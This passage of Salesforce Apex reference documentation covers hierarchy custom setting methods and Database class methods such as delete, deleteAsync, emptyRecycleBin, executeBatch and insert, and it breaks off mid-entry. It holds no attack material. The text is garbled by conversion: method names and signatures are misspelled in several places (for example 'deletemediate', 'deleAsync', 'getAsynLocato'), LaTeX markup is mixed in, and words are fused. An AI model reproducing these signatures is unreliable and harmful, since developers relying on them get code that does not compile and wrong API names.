Returns a custom setting data set record for the current user. The fields returned in the custom setting record are merged based on the lowest level fields that are defined in the hierarchy.

getInstance(userId)
Returns the custom setting data set record for the specified user ID. The lowest level custom setting record and fields are returned. Use this when you want to explicitly retrieve data for the custom setting at the user level.

getInstance(profileId)
Returns the custom setting data set record for the specified profile ID. The lowest level custom setting record and fields are returned. Use this when you want to explicitly retrieve data for the custom setting at the profile level.

getOrgDefaults()
Returns the custom setting data set record for the organization.

getValues(userId)
Returns the custom setting data set record for the specified user ID.

getValues(profileId)
Returns the custom setting data set for the specified profile ID.

getInstance()

Returns a custom setting data set record for the current user. The fields returned in the custom setting record are merged based on the lowest level fields that are defined in the hierarchy.

Signature

public CustomSetting__c getInstance()
Usage

If no custom setting data is defined for the user, this method returns a new custom setting object. The new custom setting object contains an ID set to `null` and merged fields from higher in the hierarchy. You can add this new custom setting record for the user by using `insert` or `upsert`. If no custom setting data is defined in the hierarchy, the returned custom setting has empty fields, except for the `SetupOwnerId` field which contains the user ID.

Note: For Apex saved using Salesforce API version 21.0 or earlier, this method returns the custom setting data set record with fields merged from field values defined at the lowest hierarchy level, starting with the user. Also, if no custom setting data is defined in the hierarchy, this method returns `null`.

This method is equivalent to a method call to `getInstance(User_Id)` for the current user.

Example

- Custom setting data set defined for the user: If you have a custom setting data set defined for the user “Uriel Jones,” for the profile “System Administrator,” and for the organization as a whole, and the user running the code is Uriel Jones, this method returns the custom setting record defined for Uriel Jones.
- Merged fields: If you have a custom setting data set with fields A and B for the user “Uriel Jones” and for the profile “System Administrator,” and field A is defined for Uriel Jones, field B is `null` but is defined for the System Administrator profile, this method returns the custom setting record for Uriel Jones with field A for Uriel Jones and field B from the System Administrator profile.
- No custom setting data set record defined for the user: If the current user is “Barbara Mahonie,” who also shares the “System Administrator” profile, but no data is defined for Barbara as a user, this method returns a new custom setting record with the ID set to `null` and with fields merged based on the fields defined in the lowest level in the hierarchy.

`getInstance(userId)`

Returns the custom setting data set record for the specified user ID. The lowest level custom setting record and fields are returned. Use this when you want to explicitly retrieve data for the custom setting at the user level.

Signature

```java
public CustomSetting__c getInstance(ID userId)
```

Parameters

- `userId`
  Type: ID

Return Value

Type: CustomSetting__c

Usage

If no custom setting data is defined for the user, this method returns a new custom setting object. The new custom setting object contains an ID set to `null` and merged fields from higher in the hierarchy. You can add this new custom setting record for the user by using `insert` or `upsert`. If no custom setting data is defined in the hierarchy, the returned custom setting has empty fields, except for the `SetupOwnerId` field which contains the user ID.
Note: For Apex saved using Salesforce API version 21.0 or earlier, this method returns the custom setting data set record with fields merged from field values defined at the lowest hierarchy level, starting with the user. Also, if no custom setting data is defined in the hierarchy, this method returns `null`.

**getInstance(profileId)**

Returns the custom setting data set record for the specified profile ID. The lowest level custom setting record and fields are returned. Use this when you want to explicitly retrieve data for the custom setting at the profile level.

**Signature**

```java
public CustomSetting__c getInstance(ID profileId)
```

**Parameters**

- `profileId`
  - Type: ID

**Return Value**

Type: CustomSetting__c

**Usage**

If no custom setting data is defined for the profile, this method returns a new custom setting record. The new custom setting object contains an ID set to `null` and with merged fields from your organization's default values. You can add this new custom setting for the profile by using `insert` or `upsert`. If no custom setting data is defined in the hierarchy, the returned custom setting has empty fields, except for the `SetupOwnerId` field which contains the profile ID.

Note: For Apex saved using Salesforce API version 21.0 or earlier, this method returns `null` if no custom setting data is defined for the organization.

**getOrgDefaults()**

Returns the custom setting data set record for the organization.

**Signature**

```java
public CustomSetting__c getOrgDefaults()
```

**Return Value**

Type: CustomSetting__c

**Usage**

If no custom setting data is defined for the organization, this method returns an empty custom setting object.

Note: For Apex saved using Salesforce API version 21.0 or earlier, this method returns `null` if no custom setting data is defined for the organization.
**getValues (userId)**

Returns the custom setting data set record for the specified user ID.

**Signature**

```java
public CustomSetting__c getValues(ID userId)
```

**Parameters**

- `userId`
  - Type: ID

**Return Value**

Type: CustomSetting__c

**Usage**

Use this if you only want the subset of custom setting data that has been defined at the user level. For example, suppose you have a custom setting field that has been assigned a value of “foo” at the organizational level, but has no value assigned at the user or profile level. Using `getValues(UserId)` returns `null` for this custom setting field.

**getValues (profileId)**

Returns the custom setting data set for the specified profile ID.

**Signature**

```java
public CustomSetting__c getValues(ID profileId)
```

**Parameters**

- `profileId`
  - Type: ID

**Return Value**

Type: CustomSetting__c

**Usage**

Use this if you only want the subset of custom setting data that has been defined at the profile level. For example, suppose you have a custom setting field that has been assigned a value of “foo” at the organizational level, but has no value assigned at the user or profile level. Using `getValues(ProfileId)` returns `null` for this custom setting field.

**Database Class**

Contains methods for creating and manipulating data.
Namespace
System

Usage
Some Database methods also exist as DML statements.

Database Methods
The following are methods for Database. All methods are static.

IN THIS SECTION:
- `convertLead(leadToConvert, allOrNone)`
  Converts a lead into an account and contact, as well as (optionally) an opportunity.
- `convertLead(leadsToConvert, allOrNone)`
  Converts a list of LeadConvert objects into accounts and contacts, as well as (optionally) opportunities.
- `countQuery(query)`
  Returns the number of records that a dynamic SOQL query would return when executed.
- `delete(recordToDelete, allOrNone)`
  Deletes an existing sObject record, such as an individual account or contact, from your organization’s data.
- `delete(recordsToDelete, allOrNone)`
  Deletes a list of existing sObject records, such as individual accounts or contacts, from your organization’s data.
- `deleteAsync(sobjects, callback)`
  Initiates requests to delete the external data that corresponds to the specified external object records. The request is executed asynchronously, as a background operation, and is sent to the external system that’s defined by the external object’s associated external data source. Allows referencing a callback class whose `processDelete` method is called for each record after deletion.
- `deleteAsync(sobject, callback)`
  Initiates a request to delete the external data that corresponds to the specified external object record. The request is executed asynchronously, as a background operation, and is sent to the external system that’s defined by the external object’s associated external data source. Allows referencing a callback class whose `processDelete` method is called after deletion.
- `deleteAsync(sobjects)`
  Initiates requests to delete the external data that corresponds to the specified external object records. The requests are executed asynchronously, as background operations, and are sent to the external systems that are defined by the external objects’ associated external data sources.
- `deleteAsync(sobject)`
  Initiates a request to delete the external data that corresponds to the specified external object record. The request is executed asynchronously, as a background operation, and is sent to the external system that’s defined by the external object’s associated external data source.
- `deleteImmediate(sobjects)`
  Initiates requests to delete the external data that corresponds to the specified external object records. The requests are executed synchronously and are sent to the external systems that are defined by the external objects’ associated external data sources. If the Apex transaction contains pending changes, the synchronous operations can’t be completed and throw exceptions.
deleteImmediate(sobject)
Initiates a request to delete the external data that corresponds to the specified external object record. The request is executed synchronously and is sent to the external system that's defined by the external object's associated external data source. If the Apex transaction contains pending changes, the synchronous operation can't be completed and throws an exception.

delete(recordID, allOrNone)
Deletes existing sObject records, such as individual accounts or contacts, from your organization’s data.

delete(recordIDs, allOrNone)
Deletes a list of existing sObject records, such as individual accounts or contacts, from your organization’s data.

emptyRecycleBin([])
Permanently deletes the specified records from the Recycle Bin.

emptyRecycleBin(obj)
Permanently deletes the specified sObject from the Recycle Bin.

emptyRecycleBin(listOfSObjects)
Permanently deletes the specified sObjects from the Recycle Bin.

executeBatch(batchClassObject)
Submits a batch Apex job for execution corresponding to the specified class.

executeBatch(batchClassObject, scope)
Submits a batch Apex job for execution using the specified class and scope.

getAsynDeleteResult(deleteResult)
Retrieves the status of an asynchronous delete operation that's identified by a Database.DeleteResult object.

getAsynDeleteResult(asyncLocator)
Retrieves the result of an asynchronous delete operation based on the result’s unique identifier.

getAsynLocato(result)
Returns the asyncLocator associated with the result of a specified asynchronous insert, update, or delete operation.

getAsynSaveResult(saveResult)
Retrieves the status of an asynchronous insert or update operation that’s identified by a Database.SaveResult object.

getAsynSaveResult(asyncLocato) Returns the status of an asynchronous insert or update operation based on the unique identifier associated with each modification.

getDeleted(sObjectType, startDate, endDate)
Returns the list of individual records that have been deleted for an sObject type within the specified start and end dates and times and that are still in the Recycle Bin.

getQueryLocator([])
Creates a QueryLocator object used in batch Apex or Visualforce.

getQueryLocator(query)
Creates a QueryLocator object used in batch Apex or Visualforce.

getUpdated(sobjectType, startDate, endDate)
Returns the list of individual records that have been updated for an sObject type within the specified start and end dates and times.

insert(recordToInsert, allOrNone)
Adds an sObject, such as an individual account or contact, to your organization’s data.

insert(recordsToInsert, allOrNone)
Adds one or more sObjects, such as individual accounts or contacts, to your organization’s data.
insert(recordToInsert, dmlOptions)
Adds an sObject, such as an individual account or contact, to your organization's data.

insertAsync(sobjects, callback)
Initiates requests to add external object data to the relevant external systems. The requests are executed asynchronously, as background operations, and are sent to the external systems that are defined by the external objects’ associated external data sources. Allows referencing a callback class whose processSave method is called for each record after the remote operations are completed.

insertAsync(sobject, callback)
Initiates a request to add external object data to the relevant external system. The request is executed asynchronously, as a background operation, and is sent to the external system that’s defined by the external object’s associated external data source. Allows referencing a callback class whose processSave method is called after the remote operation is completed.

insertAsync(sobject)
Initiates a request to add external object data to the relevant external system. The request is executed asynchronously, as a background operation, and is sent to the external system that’s defined by the external object’s associated external data source.

insertImmediate(sobjects)
Initiates requests to add external object data to the relevant external systems. The requests are executed synchronously and are sent to the external systems that are defined by the external objects’ associated external data sources. If the Apex transaction contains pending changes, the synchronous operations can't be completed and throw exceptions.

insertImmediate(sobject)
Initiates a request to add external object data to the relevant external system. The request is executed synchronously and is sent to the external system that’s defined by the external object’s associated external data source. If the Apex transaction contains pending changes, the synchronous operation can't be completed and throws an exception.

merge(masterRecord, duplicateId)
Merges the specified duplicate record into the master sObject record of the same type, deleting the duplicate, and reparenting any related records. Merges only accounts, contacts, or leads.

merge(masterRecord, duplicateRecord)
Merges the specified duplicate sObject record into the master sObject of the same type, deleting the duplicate, and reparenting any related records.

merge(masterRecord, duplicateIds)
Merges up to two records of the same sObject type into the master sObject record, deleting the others, and reparenting any related records.

merge(masterRecord, duplicateRecords)
Merges up to two records of the same object type into the master sObject record, deleting the others, and reparenting any related records.

merge(masterRecord, duplicateId, allOrNone)
Merges the specified duplicate record into the master sObject record of the same type, optionally returning errors, if any, deleting the duplicate, and reparenting any related records. Merges only accounts, contacts, or leads.
merge(masterRecord, duplicateRecord, allOrNone)
Merges the specified duplicate sObject record into the master sObject of the same type, optionally returning errors, if any, deleting the
duplicate, and reparenting any related records.
merge(masterRecord, duplicateIds, allOrNone)
Merges up to two records of the same sObject type into the master sObject record, optionally returning errors, if any, deleting the
duplicates, and reparenting any related records.
merge(masterRecord, duplicateRecords, allOrNone)
Merges up to two records of the same object type into the master sObject record, optionally returning errors, if any, deleting the
duplicates, and reparenting any related records.
query(queryString)
Creates a dynamic SOQL query at runtime.
rollback(databaseSavepoint)
Restores the database to the state specified by the savepoint variable. Any emails submitted since the last savepoint are also rolled
back and not sent.
setSavepoint()
Returns a savepoint variable that can be stored as a local variable, then used with the rollback method to restore the database
to that point.
undelete(recordToUndelete, allOrNone)
Restores an existing sObject record, such as an individual account or contact, from your organization's Recycle Bin.
undelete(recordsToUndelete, allOrNone)
Restores one or more existing sObject records, such as individual accounts or contacts, from your organization's Recycle Bin.
undelete(recordID, allOrNone)
Restores an existing sObject record, such as an individual account or contact, from your organization's Recycle Bin.
undelete(recordIDs, allOrNone)
Restores one or more existing sObject records, such as individual accounts or contacts, from your organization's Recycle Bin.
update(recordToUpdate, allOrNone)
Modifies an existing sObject record, such as an individual account or contact, in your organization's data.
update(recordsToUpdate, allOrNone)
Modifies one or more existing sObject records, such as individual accounts or contactsinvoice statements, in your organization's
data.
update(recordToUpdate, dmlOptions)
Modifies an existing sObject record, such as an individual account or contact, in your organization's data.
update(recordsToUpdate, dmlOptions)
Modifies one or more existing sObject records, such as individual accounts or contactsinvoice statements, in your organization's
data.
upsert(recordToUpsert, externalIdField, allOrNone)
Creates a new sObject record or updates an existing sObject record within a single statement, using a specified field to determine
the presence of existing objects, or the ID field if no field is specified.
upsert(recordsToUpsert, externalIdField, allOrNone)
Creates new sObject records or updates existing sObject records within a single statement, using a specified field to determine the
presence of existing objects, or the ID field if no field is specified.
updateAsync(sobjects, callback)
Initiates requests to update external object data on the relevant external systems. The requests are executed asynchronously, as background operations, and are sent to the external systems that are defined by the external objects’ associated external data sources. Allows referencing a callback class whose processSave method is called for each record after the remote operations are completed.

updateAsync(subject, callback)
Initiates a request to update external object data on the relevant external system. The request is executed asynchronously, as a background operation, and is sent to the external system that’s defined by the external object’s associated external data source. Allows referencing a callback class whose processSave method is called after the remote operation is completed.

updateAsync(subject)
Initiates requests to update external object data on the relevant external systems. The requests are executed asynchronously, as background operations, and are sent to the external systems that are defined by the external objects’ associated external data sources.

updateImmediate(sobjects)
Initiates requests to update external object data on the relevant external systems. The requests are executed synchronously and are sent to the external systems that are defined by the external objects’ associated external data sources. If the Apex transaction contains pending changes, the synchronous operations can’t be completed and throw exceptions.

updateImmediate(subject)
Initiates a request to update external object data on the relevant external system. The request is executed synchronously and is sent to the external system that’s defined by the external object’s associated external data source. If the Apex transaction contains pending changes, the synchronous operation can’t be completed and throws an exception.

convertLead(leadToConvert, allOrNone)
Converts a lead into an account and contact, as well as (optionally) an opportunity.

Signature

public static Database.LeadConvertResult convertLead(Database.LeadConvert leadToConvert, Boolean allOrNone)

Parameters

leadToConvert
Type: Database.LeadConvert

allOrNone
Type: Boolean

The optional allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why.

Return Value

Type: Database.LeadConvertResult
Usage
The `convertLead` method accepts up to 100 `LeadConvert` objects. Each executed `convertLead` method counts against the governor limit for DML statements.

`convertLead(leadsToConvert, allOrNone)`
Converts a list of `LeadConvert` objects into accounts and contacts, as well as (optionally) opportunities.

Signature
```
public static Database.LeadConvertResult[] convertLead(Database.LeadConvert[] leadsToConvert, Boolean allOrNone)
```

Parameters
- `leadsToConvert`: Type: `Database.LeadConvert[]`
- `allOrNone`: Type: `Boolean`

The optional `allOrNone` parameter specifies whether the operation allows partial success. If you specify `false` for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why.

Return Value
Type: `Database.LeadConvertResult[]`

Usage
The `convertLead` method accepts up to 100 `LeadConvert` objects. Each executed `convertLead` method counts against the governor limit for DML statements.

`countQuery(query)`
Returns the number of records that a dynamic SOQL query would return when executed.

Signature
```
public static Integer countQuery(String query)
```

Parameters
- `query`: Type: `String`

Return Value
Type: `Integer`
Usage
For more information, see Dynamic SOQL on page 177.
Each executed countQuery method counts against the governor limit for SOQL queries.

Example

```java
String QueryString = 'SELECT count() FROM Account';
Integer i = Database.countQuery(QueryString);
```

**delete**(recordToDelete, allOrNone)

Deletes an existing sObject record, such as an individual account or contact, from your organization’s data.

**Signature**

```java
public static Database.DeleteResult delete(SObject recordToDelete, Boolean allOrNone)
```

**Parameters**

- `recordToDelete`
  - Type: `sObject`
- `allOrNone`
  - Type: `Boolean`

  The optional allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why.

**Return Value**

Type: `Database.DeleteResult`

**Usage**

delete is analogous to the delete() statement in the SOAP API.
Each executed delete method counts against the governor limit for DML statements.

**delete**(recordsToDelete, allOrNone)

Deletes a list of existing sObject records, such as individual accounts or contacts, from your organization’s data.

**Signature**

```java
public static Database.DeleteResult[] delete(SObject[] recordsToDelete, Boolean allOrNone)
```
Parameters

recordsToDelete
Type: sObject[]

allOrNone
Type: Boolean

The optional allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why.

Return Value
Type: Database.DeleteResult[]

Usage
delete is analogous to the delete() statement in the SOAP API.
Each executed delete method counts against the governor limit for DML statements.

Example
The following example deletes an account named 'DotCom':

```java
Account[] doomedAccts = [SELECT Id, Name FROM Account WHERE Name = 'DotCom'];
Database.DeleteResult[] DR_Dels = Database.delete(doomedAccts);
```

deleteAsync(subjects, callback)

Initiates requests to delete the external data that corresponds to the specified external object records. The request is executed asynchronously, as a background operation, and is sent to the external system that’s defined by the external object’s associated external data source. Allows referencing a callback class whose processDelete method is called for each record after deletion.

Signature

```java
public static List<Database.DeleteResult> deleteAsync(List<SObject> subjects, DataSource.AsyncDeleteCallback callback)
```

Parameters

subjects
Type: List<SObject>
List of external object records to delete.

callback
Type: DataSource.AsyncDeleteCallback
The callback that contains the state in the originating context and an action (the processDelete method) that is executed after the insert operation is completed. Use the action callback to update org data according to the operation’s results. The callback object must extend DataSource.AsyncDeleteCallback.
Return Value
Type: List<Database.DeleteResult>
Status results for the delete operation. Each result corresponds to a record processed by this asynchronous operation and is associated with a unique identifier (asyncLocator). The asyncLocator value is included in the errors array of the result. You can retrieve this identifier with Database.getAsyncLocator(). Retrieve the final result with Database.getAsyncDeleteResult().

deleAsync(sobject, callback)
Initiates a request to delete the external data that corresponds to the specified external object record. The request is executed asynchronously, as a background operation, and is sent to the external system that's defined by the external object's associated external data source. Allows referencing a callback class whose processDelete method is called after deletion.

Signature
public static Database.DeleteResult deleteAsync(SObject sobject, DataSource.AsyncDeleteCallback callback)

Parameters
sobject
Type: SObject
The external object record to delete.
callback
Type: DataSource.AsyncDeleteCallback
The callback that contains the state in the originating context and an action (the processDelete method) that is executed after the insert operation is completed. Use the action callback to update org data according to the operation’s results. The callback object must extend DataSource.AsyncDeleteCallback.

Return Value
Type: Database.DeleteResult
Status result for the delete operation. The result corresponds to the record processed by this asynchronous operation and is associated with a unique identifier (asyncLocator). The asyncLocator value is included in the errors array of the result. You can retrieve this identifier with Database.getAsyncLocator(). Retrieve the final result with Database.getAsyncDeleteResult().

deleAsync(sobjects)
Initiates requests to delete the external data that corresponds to the specified external object records. The requests are executed asynchronously, as background operations, and are sent to the external systems that are defined by the external objects’ associated external data sources.

Signature
public static List<Database.DeleteResult> deleteAsync(List<SObject> sobjects)
Parameters

\textit{sobjects}

Type: List\textless SObject\textgreater

List of external object records to delete.

Return Value

Type: List\textless Database.DeleteResult\textgreater

Status results for the delete operation. Each result corresponds to a record processed by this asynchronous operation and is associated with a unique identifier (asyncLocator). The asyncLocator value is included in the errors array of the result. You can retrieve this identifier with Database.getAsyncLocator(). Retrieve the final result with Database.getAsyncDeleteResult().

\textbf{deleteAsync(sobject)}

Initiates a request to delete the external data that corresponds to the specified external object record. The request is executed asynchronously, as a background operation, and is sent to the external system that’s defined by the external object’s associated external data source.

Signature

\texttt{public static Database.DeleteResult deleteAsync(SObject sobject)}

Parameters

\textit{sobject}

Type: SObject

The external object record to delete.

Return Value

Type: Database.DeleteResult

Status result for the delete operation. The result corresponds to the record processed by this asynchronous operation and is associated with a unique identifier (asyncLocator). The asyncLocator value is included in the errors array of the result. You can retrieve this identifier with Database.getAsyncLocator(). Retrieve the final result with Database.getAsyncDeleteResult().

\textbf{deleteImmediate(sobjects)}

Initiates requests to delete the external data that corresponds to the specified external object records. The requests are executed synchronously and are sent to the external systems that are defined by the external objects’ associated external data sources. If the Apex transaction contains pending changes, the synchronous operations can’t be completed and throw exceptions.

Signature

\texttt{public static List\textless Database.DeleteResult\textgreater deleteImmediate(List\textless SObject\textgreater objects)}

Parameters

\textit{objects}

Type: List\textless SObject\textgreater
List of external object records to delete.

Return Value
Type: List<Database.DeleteResult>
Status results for the delete operation.

deletemediate (sobject)

Initiates a request to delete the external data that corresponds to the specified external object record. The request is executed synchronously and is sent to the external system that’s defined by the external object’s associated external data source. If the Apex transaction contains pending changes, the synchronous operation can't be completed and throws an exception.

Signature
public static Database.DeleteResult deletemediate(SObject sobject)

Parameters
sobject
Type: SObject
The external object record to delete.

Return Value
Type: Database.DeleteResult
Status result for the delete operation.

delete(recordID, allOrNone)

Deletes existing sObject records, such as individual accounts or contacts, from your organization’s data.

Signature
public static Database.DeleteResult delete(ID recordID, Boolean allOrNone)

Parameters
recordID
Type: ID
allOrNone
Type: Boolean
The optional allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why.

Return Value
Type: Database.DeleteResult
Usage

*delete* is analogous to the *delete()* statement in the SOAP API.
Each executed *delete* method counts against the governor limit for DML statements.

**delete(recordIDs, allOrNone)**

Deletes a list of existing sObject records, such as individual accounts or contacts, from your organization’s data.

**Signature**

```java
public static Database.DeleteResult[] delete(ID[] recordIDs, Boolean allOrNone)
```

**Parameters**

- `recordIDs`<br>Type: ID[]
- `allOrNone`<br>Type: Boolean

The optional *allOrNone* parameter specifies whether the operation allows partial success. If you specify *false* for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why.

**Return Value**

Type: Database.DeleteResult[]

**Usage**

*delete* is analogous to the *delete()* statement in the SOAP API.
Each executed *delete* method counts against the governor limit for DML statements.

**emptyRecycleBin()**

Permanently deletes the specified records from the Recycle Bin.

**Signature**

```java
public static Database.EmptyRecycleBinResult[] emptyRecycleBin(ID [] recordIds)
```

**Parameters**

- `recordIds`<br>Type: ID[]

**Return Value**

Type: Database.EmptyRecycleBinResult[]
Usage

Note the following:

- After records are deleted using this method they cannot be undeleted.
- Only 10,000 records can be specified for deletion.
- The logged in user can delete any record that he or she can query in their Recycle Bin, or the recycle bins of any subordinates. If the logged in user has “Modify All Data” permission, he or she can query and delete records from any Recycle Bin in the organization.
- Cascade delete record IDs should not be included in the list of IDs; otherwise an error occurs. For example, if an account record is deleted, all related contacts, opportunities, contracts, and so on are also deleted. Only include the Id of the top level account. All related records are automatically removed.
- Deleted items are added to the number of items processed by a DML statement, and the method call is added to the total number of DML statements issued. Each executed `emptyRecycleBin` method counts against the governor limit for DML statements.

`emptyRecycleBin(obj)`

Permanently deletes the specified sObject from the Recycle Bin.

Signature

```java
public static Database.EmptyRecycleBinResult emptyRecycleBin(sObject obj)
```

Parameters

- **obj**
  - Type: `sObject`

Return Value

Type: `Database.EmptyRecycleBinResult`

Usage

Note the following:

- After an sObject is deleted using this method it cannot be undeleted.
- Only 10,000 sObjects can be specified for deletion.
- The logged-in user can delete any sObject that he or she can query in their Recycle Bin, or the recycle bins of any subordinates. If the logged-in user has “Modify All Data” permission, he or she can query and delete sObjects from any Recycle Bin in the organization.
- Do not include an sObject that was deleted due to a cascade delete; otherwise an error occurs. For example, if an account is deleted, all related contacts, opportunities, contracts, and so on are also deleted. Only include sObjects of the top-level account. All related sObjects are automatically removed.
- Deleted items are added to the number of items processed by a DML statement, and the method call is added to the total number of DML statements issued. Each executed `emptyRecycleBin` method counts against the governor limit for DML statements.

`emptyRecycleBin(listOfSObjects)`

Permanently deletes the specified sObjects from the Recycle Bin.
Signature

```java
public static Database.EmptyRecycleBinResult[] emptyRecycleBin(sObject[] listOfSObjects)
```

Parameters

```java
listOfSObjects
    Type: sObject[]
```

Return Value

Type: `Database.EmptyRecycleBinResult[]`

Usage

Note the following:

- After an sObject is deleted using this method it cannot be undeleted.
- Only 10,000 sObjects can be specified for deletion.
- The logged-in user can delete any sObject that he or she can query in their Recycle Bin, or the recycle bins of any subordinates. If the logged-in user has "Modify All Data" permission, he or she can query and delete sObjects from any Recycle Bin in the organization.
- Do not include an sObject that was deleted due to a cascade delete; otherwise an error occurs. For example, if an account is deleted, all related contacts, opportunities, contracts, and so on are also deleted. Only include sObjects of the top-level account. All related sObjects are automatically removed.
- Deleted items are added to the number of items processed by a DML statement, and the method call is added to the total number of DML statements issued. Each executed `emptyRecycleBin` method counts against the governor limit for DML statements.

### `executeBatch(batchClassObject)`

Submits a batch Apex job for execution corresponding to the specified class.

Signature

```java
public static ID executeBatch(Object batchClassObject)
```

Parameters

```java
batchClassObject
    Type: Object
    An instance of a class that implements the Database.Batchable interface.
```

Return Value

Type: ID

The ID of the new batch job (AsyncApexJob).

Usage

When calling this method, Salesforce chunks the records returned by the `start` method of the batch class into batches of 200, and then passes each batch to the `execute` method. Apex governor limits are reset for each execution of `execute`. 
executeBatch (batchClassObject, scope)
Submits a batch Apex job for execution using the specified class and scope.

Signature
public static ID executeBatch(Object batchClassObject, Integer scope)

Parameters
batchClassObject
Type: Object
An instance of a class that implements the Database.Batchable interface.

scope
Type: Integer
Number of records to be passed into the execute method for batch processing.

Return Value
Type: ID
The ID of the new batch job (AsyncApexJob).

Usage
The value for scope must be greater than 0.
If the start method of the batch class returns a Database.QueryLocator, the scope parameter of Database.executeQuery can have a maximum value of 2,000. If set to a higher value, Salesforce chunks the records returned by the QueryLocator into smaller batches of up to 200 records. If the start method of the batch class returns an iterable, the scope parameter value has no upper limit; however, if you use a very high number, you may run into other limits.
Apex governor limits are reset for each execution of execute.
For more information, see Using Batch Apex on page 240.

getAsyncDeleteResult (deleteResult)
Retrieves the status of an asynchronous delete operation that's identified by a Database.DeleteResult object.

Signature
public static Database.DeleteResult getAsyncDeleteResult(Database.DeleteResult deleteResult)

Parameters
deleteResult
Type: Database.DeleteResult
The result record for the delete operation being retrieved.
Return Value
Type: Database.DeleteResult
The result of a completed asynchronous delete of a record or records.

getAsyncDeleteResult (asyncLocator)
Retrieves the result of an asynchronous delete operation based on the result’s unique identifier.

Signature
public static Database.DeleteResult getAsyncDeleteResult(String asyncLocator)

Parameters
asyncLocator
Type: String
The unique identifier associated with the result of an asynchronous operation.

Return Value
Type: Database.DeleteResult
The result of a completed asynchronous delete of a record or records.

getAsyncLocator (result)
Returns the asyncLocator associated with the result of a specified asynchronous insert, update, or delete operation.

Signature
public static String getAsyncLocator(Object result)

Parameters
result
Type: Object
The saved result of an asynchronous insert, update, or delete operation. The result object can be of type Database.SaveResult or Database.DeleteResult.

Return Value
Type: String
The unique identifier associated with the result of the specified operation.

getAsyncSaveResult (saveResult)
Returns the status of an asynchronous insert or update operation that’s identified by a Database.SaveResult object.
**Signature**

```java
public static Database.SaveResult getAsyncSaveResult(Database.SaveResult saveResult)
```

**Parameters**

`saveResult`
- Type: `Database.SaveResult`
- The result record for the insert or update operation being retrieved.

**Return Value**

`Database.SaveResult`
- The result of a completed asynchronous operation on a record or records.

**getAsyncSaveResult(asyncLocator)**

Returns the status of an asynchronous insert or update operation based on the unique identifier associated with each modification.

**Signature**

```java
public static Database.SaveResult getAsyncSaveResult(String asyncLocator)
```

**Parameters**

`asyncLocator`
- Type: `String`
- The unique identifier associated with the result of an asynchronous operation.

**Return Value**

`Database.SaveResult`
- The result of a completed asynchronous operation on a record or records.

**getDeleted(sObjectType, startDate, endDate)**

Returns the list of individual records that have been deleted for an sObject type within the specified start and end dates and times and that are still in the Recycle Bin.

**Signature**

```java
public static Database.GetDeletedResult getDeleted(String sObjectType, Datetime startDate, Datetime endDate)
```

**Parameters**

`sObjectType`
- Type: `String`
- The `sObjectType` argument is the sObject type name for which to get the deleted records, such as account or merchandise__c.
**startDate**
Type: Datetime
Start date and time of the deleted records time window.

**endDate**
Type: Datetime
End date and time of the deleted records time window.

**Return Value**
Type: Database.GetDeletedResult

**Usage**
Because the Recycle Bin holds records up to 15 days, results are returned for no more than 15 days previous to the day the call is executed (or earlier if an administrator has purged the Recycle Bin).

**Example**
```java
Database.GetDeletedResult r = 
Database.getDeleted(
  'Merchandise__c',
  Datetime.now().addHours(-1),
  Datetime.now());
```

**getQueryLocator([])**
Creates a QueryLocator object used in batch Apex or Visualforce.

**Signature**
```java
public static Database.QueryLocator getQueryLocator(sObject [] listOfQueries)
```

**Parameters**
- **listOfQueries**
  Type: sObject []

**Return Value**
Type: Database.QueryLocator

**Usage**
You can't use `getQueryLocator` with any query that contains an aggregate function.
Each executed `getQueryLocator` method counts against the governor limit of 10,000 total records retrieved and the total number of SOQL queries issued.
For more information, see Understanding Apex Managed Sharing, and IdeaStandardSetController Class.
**getQueryLocator(query)**

Creates a QueryLocator object used in batch Apex or Visualforce.

**Signature**

```java
public static Database.QueryLocator getQueryLocator(String query)
```

**Parameters**

*query*

Type: `String`

**Return Value**

Type: `Database.QueryLocator`

**Usage**

You can't use `getQueryLocator` with any query that contains an aggregate function.

Each executed `getQueryLocator` method counts against the governor limit of 10,000 total records retrieved and the total number of SOQL queries issued.

For more information, see Understanding Apex Managed Sharing, and StandardSetController Class.

**getUpdated(sobjectType, startDate, endDate)**

Returns the list of individual records that have been updated for an sObject type within the specified start and end dates and times.

**Signature**

```java
public static Database.GetUpdatedResult getUpdated(String sobjectType, Datetime startDate, Datetime endDate)
```

**Parameters**

*sobjectType*

Type: `String`

The `sObjectType` argument is the sObject type name for which to get the updated records, such as account or merchandise__c.

*startDate*

Type: `Datetime`

The `startDate` argument is the start date and time of the updated records time window.

*endDate*

Type: `Datetime`

The `endDate` argument is the end date and time of the updated records time window.

**Return Value**

Type: `Database.GetUpdatedResult`
Usage
The date range for the returned results is no more than 30 days previous to the day the call is executed.

Example
```
Database.GetUpdatedResult r = 
Database.getUpdated( 
  'Merchandise__c', 
  Datetime.now().addHours(-1), 
  Datetime.now());
```

**insert(recordToInsert, allOrNone)**

Adds an sObject, such as an individual account or contact, to your organization's data.

**Signature**

```java
public static Database.SaveResult insert(sObject recordToInsert, Boolean allOrNone)
```

**Parameters**

- **recordToInsert**
  Type: sObject
- **allOrNone**
  Type: Boolean

  The optional `allOrNone` parameter specifies whether the operation allows partial success. If you specify `false` for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why.

**Return Value**

Type: Database.SaveResult

Usage
**insert** is analogous to the INSERT statement in SQL.

Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that is too long for the field.

Each executed **insert** method counts against the governor limit for DML statements.

**insert(recordsToInsert, allOrNone)**

Adds one or more sObjects, such as individual accounts or contacts, to your organization's data.

**Signature**

```java
public static Database.SaveResult[] insert(sObject[] recordsToInsert, Boolean allOrNone)
```
Parameters

recordsToInsert
Type: sObject []

allOrNone
Type: Boolean

